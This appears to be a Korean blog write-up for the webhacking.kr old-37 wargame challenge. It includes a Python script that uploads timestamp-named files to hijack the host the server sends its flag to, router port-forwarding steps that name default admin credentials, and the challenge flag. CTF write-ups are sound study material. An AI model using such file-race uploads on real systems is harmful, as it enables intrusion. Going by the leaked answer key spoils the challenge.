반응형
webhacking.kr old 37번 문제풀이(Writeup)
문제를 들어가면 위와 같이 출력된다. 파일을 업로드할 수 있는 페이지가 나온다. 코드를 확인하자.
먼저 db가 연결되어 있고, query를 알려준다.
select flag from challenge where idx=37
db와 query를 넣어서 MySQL에서 레코드를 가져와서 flag 변수에 저장한다. 파일을 ./tmp/tmp-시간을 통해 만들고 127.0.0.1을 저장하고 파일을 닫는다.
업로드 파일은 <, >, ., /, 공백이 필터링이 된다.
scandir을 통해 ./tmp 아래에 있는 모든 파일에 대해 출력하는 모습도 보인다.
마지막 코드 부분에 보면, file_get_content 함수를 통해 ./tmp/tmp-{$time} 파일 내의 데이터를 가져올 host변수에 담는다. 이후 host:7777로 flag값을 전달한다.
일단 소켓으로 통신하기 때문에 7777 포트로 포워딩해야한다. 현재 쓰고 있는 공유기는 GIGA WIFI이기 때문에 172.30.1.254로 접속해서 ktuser, homejub로 초기 로그인 값으로 들어가면 된다.
이후 트래픽 관리에서 외부포트 7777을 내부 포트 7777로 가져온다.
import requests
import time
URL="https://webhacking.kr/challenge/web-18/"
cookie = {"PHPSESSID":"lm0te621m1oav88jmhhekdc3jh"}
for i in range(0,10):
file_name = "tmp-{}".format(int(time.time())+i)
with open(file_name, "w") as f:
f.write("Your IP")
upload_file = {'upfile':open(file_name, "rb")}
r = requests.post(URL+"index.php", cookies=cookie, files=upload_file)
print(r.text)
이후 time 값을 통해 혹시 모를 오차를 생각해서 10개의 파일을 만들어서 request 해준다.
스크립트를 돌리면 requests가 들어가면서 flag가 출력된다. FLAG{well...is_it_funny?_i_dont_think_so...}
728x90
'웹해킹 > webhacking.kr' 카테고리의 다른 글
webhacking.kr old 28번 문제풀이(Writeup) htaccess 취약점 설명 (0) | 2022.10.21 |
---|---|
webhacking.kr old 24번 문제풀이(Writeup) (0) | 2022.10.20 |
webhacking.kr old 36번 문제풀이(Writeup) swap 파일 문제 (0) | 2022.10.18 |
webhacking.kr old 33번 문제풀이(Writeup) (0) | 2022.10.17 |
webhacking.kr old 42번 문제풀이(Writeup) (0) | 2022.10.16 |